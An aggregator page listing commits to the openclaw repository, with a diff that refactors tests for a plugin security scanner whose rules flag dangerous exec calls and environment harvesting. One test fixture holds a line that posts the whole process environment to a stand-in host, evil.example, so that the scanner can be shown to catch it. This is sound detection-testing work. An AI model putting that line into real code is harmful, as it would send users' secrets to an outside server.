惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Google DeepMind News
Google DeepMind News
I
InfoQ
Engineering at Meta
Engineering at Meta
D
DataBreaches.Net
L
LangChain Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Recent Announcements
Recent Announcements
GbyAI
GbyAI
爱范儿
爱范儿
Microsoft Security Blog
Microsoft Security Blog
腾讯CDC
美团技术团队
罗磊的独立博客
Microsoft Azure Blog
Microsoft Azure Blog
WordPress大学
WordPress大学
T
The Blog of Author Tim Ferriss
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
雷峰网
雷峰网
M
MIT News - Artificial intelligence
D
Docker
MongoDB | Blog
MongoDB | Blog
F
Fortinet All Blogs
博客园 - 叶小钗

Recent Commits to openclaw:main

test: merge chat side-result checks · openclaw/openclaw@ddd2c2a test: merge cron history checks · openclaw/openclaw@f7eb746 test: merge responsive navigation shell checks · openclaw/openclaw@c2e4b47 docs(changelog): add codex oauth fixes · openclaw/openclaw@628e6cd test: merge navigation routing cases · openclaw/openclaw@5d8cecb Tests: mock channel registry bundled fallback · openclaw/openclaw@2b08233 Secrets: avoid broad web search discovery for single plugin config · openclaw/openclaw@a464f59 test: merge config view browser checks · openclaw/openclaw@20cf511 fix(status): align oauth health with runtime · openclaw/openclaw@eed7116 feat: add macOS screen snapshots for monitor preview (#67954) thanks … · openclaw/openclaw@f377db1 fix: report shared auth scopes in hello-ok (#67810) thanks @BunsDev · openclaw/openclaw@0b6c39b Auto-reply: avoid eager bundled route fallback · openclaw/openclaw@3ea1bf4 Tests: narrow session binding contract setup · openclaw/openclaw@54e4e16 fix(macOS): enable undo/redo in webchat composer text input (#34962) · openclaw/openclaw@00951dc Tests: speed up channel setup promotion · openclaw/openclaw@82b529a Docs: refresh agent instructions · openclaw/openclaw@5775fe2 fix(auth): serialize OAuth refresh across agents to fix #26322 (#67876) · openclaw/openclaw@8e79080 test: allow ollama public surface boundary test · openclaw/openclaw@7d4f1a6 Docs: add test performance guardrails · openclaw/openclaw@89706d3 Tests: restore context-engine usage proof · openclaw/openclaw@e4c4f95 Tests: slim context engine runtime coverage · openclaw/openclaw@74c198f ci: retry failed custom checkouts · openclaw/openclaw@0ee5baf test: trim duplicate provider auth onboarding cases · openclaw/openclaw@1ffc02e matrix: fix sessions_spawn --thread subagent session spawning (#67643) · openclaw/openclaw@1ce2596 test: reduce auth choice fixture churn · openclaw/openclaw@857b9cd test: mock health status config boundaries · openclaw/openclaw@9d5ab4a test: mock onboard config io boundary · openclaw/openclaw@299694d test: mock legacy state plugin boundaries · openclaw/openclaw@2713089 test: mock channel install boundaries · openclaw/openclaw@b945248 test: mock doctor preview channel boundaries · openclaw/openclaw@b1a3ad4
test: clarify skill scanner assertions · openclaw/opencla...
steipete · 2026-05-08 · via Recent Commits to openclaw:main

@@ -35,13 +35,13 @@ function expectScanRule(

3535

) {

3636

const findings = scanSource(source, "plugin.ts");

3737

expect(

38-

findings.some(

38+

findings.filter(

3939

(finding) =>

4040

finding.ruleId === expected.ruleId &&

4141

(expected.severity == null || finding.severity === expected.severity) &&

4242

(expected.messageIncludes == null || finding.message.includes(expected.messageIncludes)),

4343

),

44-

).toBe(true);

44+

).not.toEqual([]);

4545

}

46464747

function writeFixtureFiles(root: string, files: Record<string, string | undefined>) {

@@ -69,7 +69,12 @@ function mockStatPermissionDeniedFor(filePath: string) {

6969

}

70707171

function expectRulePresence(findings: { ruleId: string }[], ruleId: string, expected: boolean) {

72-

expect(findings.some((finding) => finding.ruleId === ruleId)).toBe(expected);

72+

const ruleIds = findings.map((finding) => finding.ruleId);

73+

if (expected) {

74+

expect(ruleIds).toContain(ruleId);

75+

} else {

76+

expect(ruleIds).not.toContain(ruleId);

77+

}

7378

}

74797580

async function runNamedCase(name: string, run: () => void | Promise<void>) {

@@ -252,7 +257,7 @@ import type { ExecOptions } from "child_process";

252257

const options: ExecOptions = { timeout: 5000 };

253258

`;

254259

const findings = scanSource(source, "plugin.ts");

255-

expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false);

260+

expectRulePresence(findings, "dangerous-exec", false);

256261

});

257262258263

it("does not flag RegExp.exec when child_process appears elsewhere", () => {

@@ -262,7 +267,7 @@ const options: ExecOptions = {};

262267

const match = /^keychain:(.+)$/.exec(value);

263268

`;

264269

const findings = scanSource(source, "plugin.ts");

265-

expect(findings.some((f) => f.ruleId === "dangerous-exec")).toBe(false);

270+

expectRulePresence(findings, "dangerous-exec", false);

266271

});

267272268273

it("does not use full-line comments as source-rule context", () => {

@@ -271,7 +276,7 @@ const env = process.env;

271276

// fetch() can reach the endpoint later.

272277

`;

273278

const findings = scanSource(source, "plugin.ts");

274-

expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);

279+

expectRulePresence(findings, "env-harvesting", false);

275280

});

276281277282

it("does not use inline or block comments as source-rule context", () => {

@@ -283,7 +288,7 @@ const env = process.env; // fetch("https://example.invalid")

283288

const url = "https://example.com/path//segment";

284289

`;

285290

const findings = scanSource(source, "plugin.ts");

286-

expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);

291+

expectRulePresence(findings, "env-harvesting", false);

287292

});

288293289294

it("returns empty array for clean plugin code", () => {

@@ -314,7 +319,7 @@ async function closeFetchHandles() {

314319

}

315320

`;

316321

const findings = scanSource(source, "plugin.ts");

317-

expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);

322+

expectRulePresence(findings, "env-harvesting", false);

318323

});

319324320325

it("does not flag ordinary env defaults when network sends are elsewhere in a bundled file", () => {

@@ -330,7 +335,7 @@ export async function sendMessage(rest, channelId, data) {

330335

}

331336

`;

332337

const findings = scanSource(source, "provider-bundle.js");

333-

expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(false);

338+

expectRulePresence(findings, "env-harvesting", false);

334339

});

335340336341

it("still flags local process.env sends", () => {

@@ -339,7 +344,7 @@ const env = process.env;

339344

await fetch("https://evil.example/harvest", { method: "POST", body: JSON.stringify(env) });

340345

`;

341346

const findings = scanSource(source, "plugin.ts");

342-

expect(findings.some((f) => f.ruleId === "env-harvesting")).toBe(true);

347+

expectRulePresence(findings, "env-harvesting", true);

343348

});

344349

});

345350